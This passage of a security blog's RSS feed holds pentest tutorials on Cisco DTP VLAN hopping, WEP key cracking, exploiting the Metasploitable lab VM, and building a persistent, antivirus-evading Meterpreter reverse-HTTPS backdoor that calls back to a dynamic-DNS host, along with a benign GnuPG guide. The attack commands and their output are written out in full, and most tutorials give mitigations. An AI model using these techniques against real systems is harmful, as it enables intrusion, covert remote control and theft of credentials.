<p>The mitigation couldn&#8217;t be easier &#8211; just don&#8217;t allow access from an isolated network to a DNS server which has forwarders enabled.</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/ip-over-dns/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DTP &#8211; Share it</title>
		<link>http://think-security.com/dtp-share-it/</link>
		<comments>http://think-security.com/dtp-share-it/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 04:22:29 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Layer 2]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[cisco dtp]]></category>
		<category><![CDATA[dynamic trunking protocol]]></category>
		<category><![CDATA[Layer 2 attack]]></category>
		<category><![CDATA[switchport mode access]]></category>
		<category><![CDATA[trunk port]]></category>
		<category><![CDATA[trunking port]]></category>
		<category><![CDATA[vlan jumping]]></category>
		<category><![CDATA[vlan switch]]></category>
		<category><![CDATA[vlan trunking protocol]]></category>
		<category><![CDATA[yersinia attack]]></category>
		<category><![CDATA[yersinia dtp]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=11</guid>
		<description><![CDATA[The one thing that is always overlooked, when someone tries to secure a network, is the user side. It is rare to see a DMZ network, that is protected by a firewall from the users. The general idea is that if you are an internal user, you have legitimate access to the servers, so there is no need to protect them from you. In this article we will discuss a frequently overlooked feature of Cisco switches called <a href="http://en.wikipedia.org/wiki/Dynamic_Trunking_Protocol" name ="DTP">DTP</a>, we will explain why is it dangerous and what are the steps to disable it. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/dtp-share-it/">DTP &#8211; Share it</a></span>]]></description>
			<content:encoded><![CDATA[<p>The one thing that is always overlooked, when someone tries to secure a network, is the user side. It is rare to see a <a href="http://en.wikipedia.org/wiki/DMZ_(computing)">DMZ</a> network, that is protected by a firewall from the users. The general idea is that if you are an internal user, you have legitimate access to the servers, so there is no need to protect them from you. In this article we will discuss a frequently overlooked feature of Cisco switches called <a name="DTP" href="http://en.wikipedia.org/wiki/Dynamic_Trunking_Protocol"></a>DTP, we will explain why is it dangerous and what are the steps to disable it.</p>
<p>In some rare occasions, the IT security people have done their job right and limited the access from internal users to the servers in the internal or external <strong>DMZ</strong>. This ofcourse will make it harder for a penetration tester to find something interesting to put in the report. Only if he could jump in the <a name="VLAN" href="http://en.wikipedia.org/wiki/VLAN"></a>VLAN with the servers, so there is no firewall in the way &#8230;</p>
<h2>Scenario</h2>
<p>Well, maybe it is time to look at the Layer 2 side of the network. You might happen to know that by default Cisco switches don&#8217;t put their ports in access mode, with the idea that if you happen to connect two switches, they can automatically reconfigure the ports that connect them in trunk mode, so you can share VLANs between them. The proprietary protocol that negotiates that is called DTP, which stands for Dynamic Trunking Protocol.</p>
<p><a name="yersinia" href="http://www.yersinia.net/"></a>Yersinia is a network tool designed to take advantage of some weaknesses or misconfiguration in different network protocols (STP, CDP, DTP, DHCP, HSRP, ISL, VTP). Lets try it out:<br />
<tt>$ sudo yersinia -I</tt><br />
Just remember to maximize your console window in case that you use KDE or GNOME or something else, as yersinia will refuse to start if the window is too small. You can use the F1 to F10 keys to cycle through the different windows and each window shows information for a specific protocol, if it is detected to be enabled on the network. In our example we will focus on the DTP window and we&#8217;ll hope that we see some activity there. If this is the case, we will see some lines with <tt>ACCESS/DESIRABLE</tt> in them, which represents the current state of the port.</p>
<p>All we need to do now is to press &#8216;<strong>x</strong>&#8216; to execute an attack and select &#8216;<strong>1</strong>&#8216; in order to try and enable trunking. If you see a couple of lines with &#8216;<tt>TRUNK/DESIRABLE</tt>&#8216; this most probably means that the attack is successful. Now if you go to the 802.1Q window, you should be able to see all the VLANs that are enabled on the switch and even the IP ranges that are used in them. After that joining a VLAN is trivial:<br />
<tt><br />
$ sudo modprobe 8021q<br />
$ sudo vconfig add eth0 4<br />
$ sudo ifconfig eth0.4 10.0.0.199 netmask 255.255.255.0 up<br />
</tt><br />
In this example &#8217;8021q&#8217; is the module that enables vlan support in Linux, &#8217;4&#8242; is the VLAN number and &#8217;10.0.0.199&#8242; is the IP address assigned. Just remember that you need to leave yersinia running, in order to keep the port in trunk mode.</p>
<h2>Mitigation</h2>
<p>The solution of this problem is actually quite simple &#8211; just put all client ports in access mode. The following commands executed for every client port will do just that:<br />
<tt><br />
# switchport mode access<br />
# switchport access vlan x<br />
# switchport nonegotiate<br />
</tt></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/dtp-share-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GnuPG &#8211; quick console guide</title>
		<link>http://think-security.com/gnupg-quick-console-guide/</link>
		<comments>http://think-security.com/gnupg-quick-console-guide/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 16:41:38 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Client Security]]></category>
		<category><![CDATA[Email Security]]></category>
		<category><![CDATA[Security Guides]]></category>
		<category><![CDATA[digital signatures]]></category>
		<category><![CDATA[encrypted email]]></category>
		<category><![CDATA[gnu privacy guard]]></category>
		<category><![CDATA[gpg howto]]></category>
		<category><![CDATA[gpg key]]></category>
		<category><![CDATA[public key encryption]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=18</guid>
		<description><![CDATA[This short <strong>gpg howto</strong> demonstrates how to use the <strong>Gnu Privacy Guard</strong> (<a href="http://www.gnupg.org/">GnuPG</a>) tools on Unix/Linux systems. By following this guide you will understand how to generate a <strong>gpg key</strong> and you will go through the basics of public key encryption and digital signatures, and you would be able to work your way out to sending encrypted email attachments. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/gnupg-quick-console-guide/">GnuPG &#8211; quick console guide</a></span>]]></description>
			<content:encoded><![CDATA[<p>This short <strong>gpg howto</strong> demonstrates how to use the <strong>Gnu Privacy Guard</strong> (<a href="http://www.gnupg.org/">GnuPG</a>) tools on Unix/Linux systems. By following this guide you will understand how to generate a <strong>gpg key</strong> and you will go through the basics of public key encryption and digital signatures, and you would be able to work your way out to sending encrypted email attachments.</p>
<h3>Generate Private Key</h3>
<p><code>  $ gpg --gen-key</code></p>
<p>During the generation of the key you will be asked a couple of questions:</p>
<p><code>  Please select what kind of key you want:<br />
     (1) DSA and Elgamal (default)<br />
     (2) DSA (sign only)<br />
     (3) RSA (sign only)<br />
  Your selection?</code></p>
<p>You should be fine with the default of (1), then you will be asked for the keysize:</p>
<p><code>  DSA keypair will have 1024 bits.<br />
  ELG-E kyes may be between 1024 and 4096 bits long.<br />
  What keysize do you want? (2048)</code></p>
<p>The default value of  2048 should be fine for the next few years at least, having in mind the difficulty of cracking strong encryption using a 2048 bit key in any reasonable period using current computer technology. Next, it will ask how long you want your key to be valid:</p>
<p>  Requested keysize is 2048 bits<br />
<code>  Please specify how long the key should be valid.<br />
           0 = key does not expire<br />
        &lt;n&gt;  = key expires in n days<br />
        &lt;n&gt;w = key expires in n weeks<br />
        &lt;n&gt;m = key expires in n months<br />
        &lt;n&gt;y = key expires in n years</p>
<p>  Key is valid for? (0)</code></p>
<p>For most purposes, either accept the default (0) by pressing the Enter key or specify 1y for one year. Assuming you entered 1y, you will be asked to verify the expiration date. Here, [date] is a stand-in for the actual time and date information indicated by the gpg utility:</p>
<p><code>  Key expires at [date]<br />
  Is this correct? (y/N)</code></p>
<p>The default answer is N, for &#8220;no&#8221;. If you want to change your answer, just press Enter. If you wish to accept it, enter y.</p>
<p>Next it will ask you to identify yourself:</p>
<p><code>  You need a user ID to identify your key; the software constructs the user ID  from the Real Name, Comment and Email Address in this form:<br />
      "Think Security Support <support@think-security.com>"</p>
<p>  Real name:</code></p>
<p>Enter your name here and also answer appropriately on the next two questions:</p>
<p><code>  Email address:<br />
  Comment:</code></p>
<p>After all this information is entered, you will be asked to confirm your input:</p>
<p><code>  You selected this USER-ID:<br />
      "Think Security Support <support@think-security.com>"</p>
<p>  Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?</code></p>
<p>Whatever name, comment, and email address is displayed, make sure they are accurate and enter o to select &#8220;Okay&#8221; &#8212; or, if they don&#8217;t match the reality, choose appropriately to change your answers.</p>
<p>After answering this question, you will be asked to dome something random &#8211; playing video or music, entering random text into a text document, moving the mouse and heavy network activity can all  contribute to that needed &#8220;randomness&#8221;.</p>
<h3>Generate Revocation Certificate</h3>
<p>This creates a revocation certificate, which needs to be published if your pass phrase or private key are compromised by a hacker.</p>
<p><code>  $ gpg --output revoke.asc --gen-revoke 'name'</code></p>
<p>It is recommended that you store your revocation key on physical media in a secure location so that it cannot be compromised along your private key and/or pass phrase.</p>
<h3>Generate Public Key</h3>
<p>This produces a text file called &#8220;pubkey.txt&#8221; that will contain the ascii version of your public key, where name is the Real Name you used to create the key:</p>
<p><code>  $ gpg --armor --output pubkey.txt --export 'name'</code></p>
<h3>Register Public Key</h3>
<p>This uploads your public key to a keyserver on the PGP website &#8211; <a href="http://www.pgp.net/">pgp.net</a> so that others can search by name for your public key on a central location:</p>
<p><code>  $ gpg --send-keys 'name' --keyserver hkp://subkeys.pgp.net</code></p>
<h3>Import Key Directly</h3>
<p>Assuming you have the plain text public key of someone to whom you may later want to send encrypted files, this is how you can import it into your gpg keyring:</p>
<p><code> $ gpg --import pubkey.txt</code></p>
<h3>From Keyserver</h3>
<p>By using the key owner&#8217;s email address, this command retrieves his public key from the pgp.net keyserver,:</p>
<p><code>  $ gpg --recv-keys email --keyserver hkp://subkeys.pgp.net</code></p>
<h3>Encrypt A File</h3>
<p>To encrypt a file when you have the public key of the intended recipient in your gpg keyring, you can use the following command, where ID is replaced with that key&#8217;s ID and filename.ext is replaced with the name of the file you wish to encrypt:</p>
<p><code>  $ gpg --encrypt --recipient ID filename.ext</code></p>
<p>The short version of the above command is:</p>
<p><code>  $ gpg -e -r ID filename.ext</code></p>
<p>This command will create an encrypted copy of the file named filename.ext.gpg. If you want to encrypt a file so that only you can read it, you can specify your own key ID as the intended recipient.</p>
<h3>Decrypt A File</h3>
<p>Decrypting a file is simple:</p>
<p><code>  $ gpg --output filename.ext --decrypt filename.ext.gpg</code></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/gnupg-quick-console-guide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wireless WEP (in)security</title>
		<link>http://think-security.com/wireless-wep-insecurity/</link>
		<comments>http://think-security.com/wireless-wep-insecurity/#comments</comments>
		<pubDate>Sun, 20 Jun 2010 05:12:13 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[Wireless Security]]></category>
		<category><![CDATA[arp injection]]></category>
		<category><![CDATA[home security wireless]]></category>
		<category><![CDATA[wep crack]]></category>
		<category><![CDATA[wep key]]></category>
		<category><![CDATA[wifi security]]></category>
		<category><![CDATA[wireless security]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=20</guid>
		<description><![CDATA[Wireless security has been a great concern for the IT security professionals from at least a decade. It is difficult to protect something that you can't see, that goes through walls and that everyone close enough can eavesdrop, especially when the only wifi security in place is the deprecated wireless encryption protocol <a href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy">WEP</a>. In this article we will break the wireless security of a demo network and we will obtain the wep key. We will use arp injection in order to facilitate this so called wep crack and we will do that so fast, that from now on you will always have second thoughts about wifi security. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/wireless-wep-insecurity/">Wireless WEP (in)security</a></span>]]></description>
			<content:encoded><![CDATA[<p>Wireless security has been a great concern for the IT security professionals from at least a decade. It is difficult to protect something that you can&#8217;t see, that goes through walls and that everyone close enough can eavesdrop, especially when the only wifi security in place is the deprecated wireless encryption protocol <a href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy" target="_blank">WEP</a>. In this article we will break the wireless security of a demo network and we will obtain the wep key. We will use arp injection in order to facilitate this so called wep crack and we will do that so fast, that from now on you will always have second thoughts about wifi security.</p>
<h2>Scenario</h2>
<p>To illustrate the scenario we will use an old Linksys wireless PCMCIA network card and we will break into a specially created for the purpose wireless network called SoulReaver, which we have configured on a Linksys wireless router. The laptop on which the potential malicious activities will be performed is preinstalled with <a href="http://www.backtrack-linux.org/" target="_blank">BackTrack</a> and we will use an arp injection technique to speed up the demonstration.</p>
<p>Once the operating system has booted, insert the card in the PCMCIA slot and you should see the following line in <strong>dmesg</strong>:</p>
<pre>b43-phy0: Broadcom 4306 WLAN found</pre>
<p>This means that the card has been successfully detected. Next we need to put the card in monitoring mode, so we can have a look around. This is achieved with the following command:</p>
<pre># airmon-ng start wlan0
# airodump-ng wlan0

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:1A:70:FD:3A:76  -41        5       11    0   6  54e  WEP  WEP         SoulReaver

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 (not associated)   00:1D:E0:82:80:31  -74    0 - 1      3        4
 00:1A:70:FD:3A:76  00:21:5D:13:FE:56  -45   54e-54e    45       12</pre>
<p>So there we see a wireless network called &#8220;SoulReaver&#8221; which is protected with <strong>WEP</strong>. At this point we just fire up a packet sniffer and wait for enough packets to be collected in order to crack the <strong>WEP</strong> key, but as we want to speed up the process we will use an ARP injection technique to collect more packets faster. In order for arp injection to work, in most cases you will need to first associate with the access point:</p>
<pre># aireplay-ng -1 0 -e SoulReaver -a 00:1A:70:FD:3A:76 -h 00:12:17:07:E0:15 wlan0</pre>
<p>Then we can start to sniff for ARP packets and start injecting once we have captured at least one:</p>
<pre>#  aireplay-ng -3 -e SoulReaver -a 00:1A:70:FD:3A:76 -h 00:12:17:07:E0:15 -x 200 wlan0
16:06:22  Waiting for beacon frame (ESSID: SoulReaver) on channel 6
Found BSSID "00:1A:70:FD:3A:76" to given ESSID "SoulReaver".
Saving ARP requests in replay_arp-0709-160622.cap
You should also start airodump-ng to capture replies.
Read 7803 packets (got 1 ARP requests and 1173 ACKs), sent 1222 packets...(199 pps)</pre>
<p>The command above does the following &#8211; selects the third attack which is ARP injection, specifies that we will attack a wireless network called &#8220;SoulReaver&#8221; with MAC address of the access point &#8220;00:1A:70:FD:3A:76&#8243; and configures the packet injection rate with 200 packets per second. As we can see from the command output, aireplay-ng automatically discovers the source MAC address, locates the wireless network at channel 6 and waits for a valid ARP packet that can be used for injection. After such packet is captured, the tool starts sending packets at a rate of 199 packets per second, at which point we can start to dump the packets into a file:</p>
<pre># airodump-ng -c 6 --bssid 00:1A:70:FD:3A:76 -w SoulReaver-dump wlan0</pre>
<p>The command above instructs airodump-ng to listen on channel 6 on interface <strong>wlan0</strong> and to write the captured packets in a file called SoulReaver-dump-01.cap. After we have captured enough packets, we can try cracking the password with the following command:</p>
<pre># aircrack-ng -a 1 -n 64 SoulReaver-dump*.cap</pre>
<p>We specify that we want to perform <strong>WEP</strong> cracking and that we want to try with 64 bit key first. If you have captured enough packets, after a short delay the following screen will appear:</p>
<pre>                                     Aircrack-ng 1.0 rc3 r1552

                            [00:00:04] Tested 730859 keys (got 13883 IVs)

   KB    depth   byte(vote)
    0   22/ 32   F3(16384) 40(16128) 53(16128) 7D(16128) 93(16128) 97(16128) A2(16128)
    1    1/ 14   84(18944) AC(18432) FD(18432) 6E(17920) 5D(17664) B2(17664) 02(17664)
    2    0/ 12   0D(19968) 5D(19968) 25(18944) 7F(18688) A7(18688) 14(18688) 53(18176)
    3    4/ 10   86(18688) 62(18176) 97(18176) 38(17920) 4F(17664) 6D(17664) 1C(17408)
    4    1/ 14   52(19968) F9(19456) F0(18944) 9C(18688) B4(18176) FE(17920) 03(17664)

                         KEY FOUND! [ CB:74:0D:89:52 ]
	Decrypted correctly: 100%</pre>
<p>In order to connect to the wireless network with the just cracked WEP key, do the following:</p>
<pre># iwconfig wlan0 mode manage
# ifconfig wlan0 down
# iwconfig wlan0 essid SoulReaver key CB:74:0D:89:52
# ifconfig wlan0 up
# dhcpcd wlan0
# ping www.google.com</pre>
<h2>Mitigation</h2>
<p>The recommended solution to <strong>WEP</strong> security problems is to switch to <a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access" target="_blank">WPA2</a> or with older equipment the less resource intensive <a href="http://en.wikipedia.org/wiki/Wi-Fi_Protected_Access" target="_blank">WPA</a>. Either is much more secure than <strong>WEP</strong>. To add support for <strong>WPA</strong> or <strong>WPA2</strong>, some old Wi-Fi access points might need to be replaced or have their firmware upgraded. <strong>WPA</strong> was designed as an interim software-implementable solution for <strong>WEP</strong> that could forestall immediate deployment of new hardware. However, <a href="http://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol" target="_blank">TKIP</a> (the basis of <strong>WPA</strong>) has reached the end of its designed lifetime and has been deprecated in the next full release of the <a href="http://en.wikipedia.org/wiki/IEEE_802.11" target="_blank">802.11</a> standard.</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/wireless-wep-insecurity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploitable – your first training ground</title>
		<link>http://think-security.com/metasploitable-your-first-training-ground/</link>
		<comments>http://think-security.com/metasploitable-your-first-training-ground/#comments</comments>
		<pubDate>Tue, 18 May 2010 10:45:38 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Internal Network]]></category>
		<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[Metasploitable]]></category>
		<category><![CDATA[Metaspoit]]></category>
		<category><![CDATA[Ubuntu 8.0.4]]></category>
		<category><![CDATA[virtual machine]]></category>
		<category><![CDATA[VMware]]></category>
		<category><![CDATA[vulnerable server]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=27</guid>
		<description><![CDATA[<a href="http://www.metasploit.com/documents/express/Metasploitable.zip.torrent">Metasploitable</a> is a VMWare based virtual machine running Ubuntu 8.04 server. A number of vulnerable services have been included, some of which are an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older version of mysql server. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/metasploitable-your-first-training-ground/">Metasploitable – your first training ground</a></span>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.metasploit.com/documents/express/Metasploitable.zip.torrent">Metasploitable</a> is a VMware based virtual machine running Ubuntu 8.04 server. A number of vulnerable services have been included, some of which are an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older version of mysql server.</p>
<p>You can use <a href="http://www.vmware.com/products/player/">VMware Player</a> to run it, but be aware that you don&#8217;t want is exposed to the Internet, so carefully choose what type of networking you will use in the virtual machine. It&#8217;s configured in non-persistent-disk mode, so if you mess up something you can just reset it, and here are some of the credentials that you can use to access it:</p>
<p><code>msfadmin:msfadmin<br />
user:user<br />
service:service<br />
postgres:postgres<br />
klog:123456789<br />
</code><br />
Here are a couple of the things you can do with it in msfconsole:</p>
<p>Using the &#8216;Tomcat Application Manager Login Utility&#8217;, you can test credentials against a Tomcat application (assuming the manager component is enabled):</p>
<p><code>msf &gt; <strong>use scanner/http/tomcat_mgr_login</strong><br />
msf auxiliary(tomcat_mgr_login) &gt; <strong>set RHOSTS metasploitable</strong><br />
msf auxiliary(tomcat_mgr_login) &gt; <strong>set RPORT 8180</strong><br />
msf auxiliary(tomcat_mgr_login) &gt; <strong>exploit</strong></code></p>
<p>&#8230;<br />
[*] 10.0.1.88:8180 &#8211; Trying username:&#8217;tomcat&#8217; with password:&#8217;role1&#8242;<br />
[-] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as &#8216;tomcat&#8217;<br />
[*] 10.0.1.88:8180 &#8211; Trying username:&#8217;tomcat&#8217; with password:&#8217;root&#8217;<br />
[-] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as &#8216;tomcat&#8217;<br />
[*] 10.0.1.88:8180 &#8211; Trying username:&#8217;tomcat&#8217; with password:&#8217;tomcat&#8217;<br />
[+] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login &#8216;tomcat&#8217; : &#8216;tomcat&#8217;<br />
[*] 10.0.1.88:8180 &#8211; Trying username:&#8217;both&#8217; with password:&#8217;admin&#8217;</p>
<p>There you go &#8211; a valid (tomcat:tomcat) login. &#8211; Now that we have valid credentials, we can try the Tomcat Manager Application Deployer (tomcat_mgr_deploy) :</p>
<p><code>msf &gt; <strong>use multi/http/tomcat_mgr_deploy</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>set RHOST metasploitable</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>set USERNAME tomcat</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>set PASSWORD tomcat</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>set RPORT 8180</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>set PAYLOAD linux/x86/shell_bind_tcp</strong><br />
msf exploit(tomcat_mgr_deploy) &gt; <strong>exploit</strong></code></p>
<p>[*] Started bind handler<br />
[*] Attempting to automatically select a target&#8230;<br />
[*] Automatically selected target &#8220;Linux X86&#8243;<br />
[*] Uploading 1612 bytes as HJpy1H.war &#8230;<br />
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp&#8230;<br />
[*] Undeploying HJpy1H &#8230;<br />
[*] Sending stage (36 bytes) to metasploitable<br />
[*] Command shell session 1 opened (10.0.1.21:39497 -&gt; 10.0.1.88:4444) at 2010-05-12 19:54:16 -0200</p>
<p>The distcc_exec module is also a nice exploit to play with &#8211; in this case, by using a command payload to &#8216;cat /etc/passwd&#8217;:</p>
<p><code>msf &gt; <strong>use unix/misc/distcc_exec</strong><br />
msf exploit(distcc_exec) &gt; <strong>set PAYLOAD cmd/unix/generic</strong><br />
msf exploit(distcc_exec) &gt; <strong>set RHOST metasploitable</strong><br />
msf exploit(distcc_exec) &gt; <strong>set CMD 'cat /etc/passwd'</strong><br />
msf exploit(distcc_exec) &gt; <strong>exploit</strong><br />
connecting...</code></p>
<p>[*] stdout: root:x:0:0:root:/root:/bin/bash<br />
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
&#8230;</p>
<p>So no need to wait any more &#8211; just <a href="http://www.metasploit.com/documents/express/Metasploitable.zip.torrent">download</a> Metasploitable and start improving your Metasploit skills!</p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/metasploitable-your-first-training-ground/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Persistent Meterpreter over Reverse HTTPS</title>
		<link>http://think-security.com/persistent-meterpreter-over-reverse-https/</link>
		<comments>http://think-security.com/persistent-meterpreter-over-reverse-https/#comments</comments>
		<pubDate>Wed, 14 Apr 2010 15:00:12 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[covert channel]]></category>
		<category><![CDATA[https tunnel]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[remote control]]></category>
		<category><![CDATA[retain access]]></category>
		<category><![CDATA[reverse connect]]></category>
		<category><![CDATA[reverse https]]></category>

		<guid isPermaLink="false">http://think-security.org/?p=59</guid>
		<description><![CDATA[Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool. <span style="color:#777"> . . . &#8594; Read More: <a href="http://think-security.com/persistent-meterpreter-over-reverse-https/">Persistent Meterpreter over Reverse HTTPS</a></span>]]></description>
			<content:encoded><![CDATA[<p>Botnet agents and malware go through inordinate lengths to hide their command and control traffic. From a penetration testing perspective, emulating these types of communication channels is possible, but often requires a custom toolkit to be deployed to the target. In this post I will walk through using the standard Metasploit Meterpreter payload as a persistent encrypted remote control tool.</p>
<p>First things first, grab the <a href="http://www.metasploit.com/framework/download/">latest version</a> of Metasploit (3.3.3) and <a href="http://www.metasploit.com/redmine/projects/framework/wiki/Updating">update</a> to the latest SVN snapshot. Revision r9058 or newer will work for this example.</p>
<p>Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running <strong>msfconsole</strong> and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new <strong>reverse_https</strong> stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with <strong>reverse_tcp_dns</strong>, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.</p>
<p>Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a <a href="http://www.dyndns.org/">dynamic DNS service</a> (metasploit.kicks-ass.net), choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start <strong>msfconsole</strong>:</p>
<pre>$ <strong>msfconsole</strong>msf &gt; <strong>use exploit/multi/handler</strong>msf exploit(handler) &gt; <strong>set PAYLOAD windows/meterpreter/reverse_https</strong>     msf exploit(handler) &gt; <strong>set LPORT 8443</strong> msf exploit(handler) &gt; <strong>set LHOST metasploit.kicks-ass.net</strong>msf exploit(handler) &gt; <strong>set ExitOnSession false</strong>msf exploit(handler) &gt; <strong>exploit -j</strong>[*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/[*] Starting the payload handler...</pre>
<p>Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using <a href="http://wave.webaim.org/report">WAVE</a>, but any &#8220;site check&#8221; tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a &#8220;No site configured at this address&#8221; message.</p>
<p>After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a &#8220;template&#8221; and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:</p>
<pre>$ <strong>msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R |msfencode -x calc.exe -t loop-vbs -o final.vbs</strong>[*] x86/shikata_ga_nai succeeded with size 408 (iteration=1)$ <strong>ls -la final.vbs</strong>-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs</pre>
<p>Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.</p>
<pre>[*] A.B.C.D:53386 Request received for /AVkev...[*] A.B.C.D:53386 Staging connection for target Vkev received...[*] Patching Target ID Vkev into DLL[*] A.B.C.D:53387 Request received for /BVkev...[*] A.B.C.D:53387 Stage connection for target Vkev received...[*] Meterpreter session 2 opened (192.168.0.228:8443 -&gt; A.B.C.D:53387)

msf exploit(handler) &gt; <strong>sessions -i 2</strong>[*] Starting interaction with 2...

meterpreter &gt; <strong>getuid</strong>Server username: metaldev

meterpreter &gt; <strong>ps</strong>

Process list============

 PID   Name                          Arch  Session  User       Path ---   ----                          ----  -------  ----       ---- 0     [System Process]                                         4     System                                                   404   smss.exe                                                 520   csrss.exe                                                584   wininit.exe                                              608   csrss.exe                                                648   services.exe                                             668   lsass.exe                                                676   lsm.exe                                                  792   svchost.exe                                              852   nvvsvc.exe                                               892   svchost.exe                                             [truncated]</pre>
<p>For more information about how the <strong>reverse_https</strong> and <strong>reverse_tcp_dns</strong> stagers work, I recommend <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm">reading</a> <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/external/source/shellcode/windows/x86/src/block/block_reverse_tcp_dns.asm">the</a> <a href="http://www.metasploit.com/redmine/projects/framework/repository/entry/lib/msf/core/handler/reverse_https.rb">source</a>. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).</p>
<p>Source: <a href="http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html">Metasploit Blog</a></p>
]]></content:encoded>
			<wfw:commentRss>http://think-security.com/persistent-meterpreter-over-reverse-https/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automate the Metasploit Console</title>
		<link>http://think-security.com/automate-the-metasploit-console/</link>
		<comments>http://think-security.com/automate-the-metasploit-console/#comments</comments>
		<pubDate>Wed, 24 Mar 2010 15:57:18 +0000</pubDate>
		<dc:creator>gmoskov</dc:creator>
				<category><![CDATA[Pentest Articles]]></category>
		<category><![CDATA[how to use metasploit]]></category>
		<category><![CDATA[it security]]></category>
		<category><![CDATA[it security audit]]></category>
		<category><![CDATA[it security management]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit autopwn]]></category>
		<category><![CDATA[metasploit exploit]]></category>
		<category><![CDATA[metasploit howto]]></category>
		<category><![CDATA[metasploit on ubuntu]]></category>
		<category><![CDATA[metasploit payloads]]></category>
		<category><![CDATA[metasploit tutorial]]></category>
		<category><![CDATA[open source security testing]]></category>
		<category><![CDATA[open source security tools]]></category>
		<category><![CDATA[security management]]></category>
		<category><![CDATA[security testing tool]]></category>
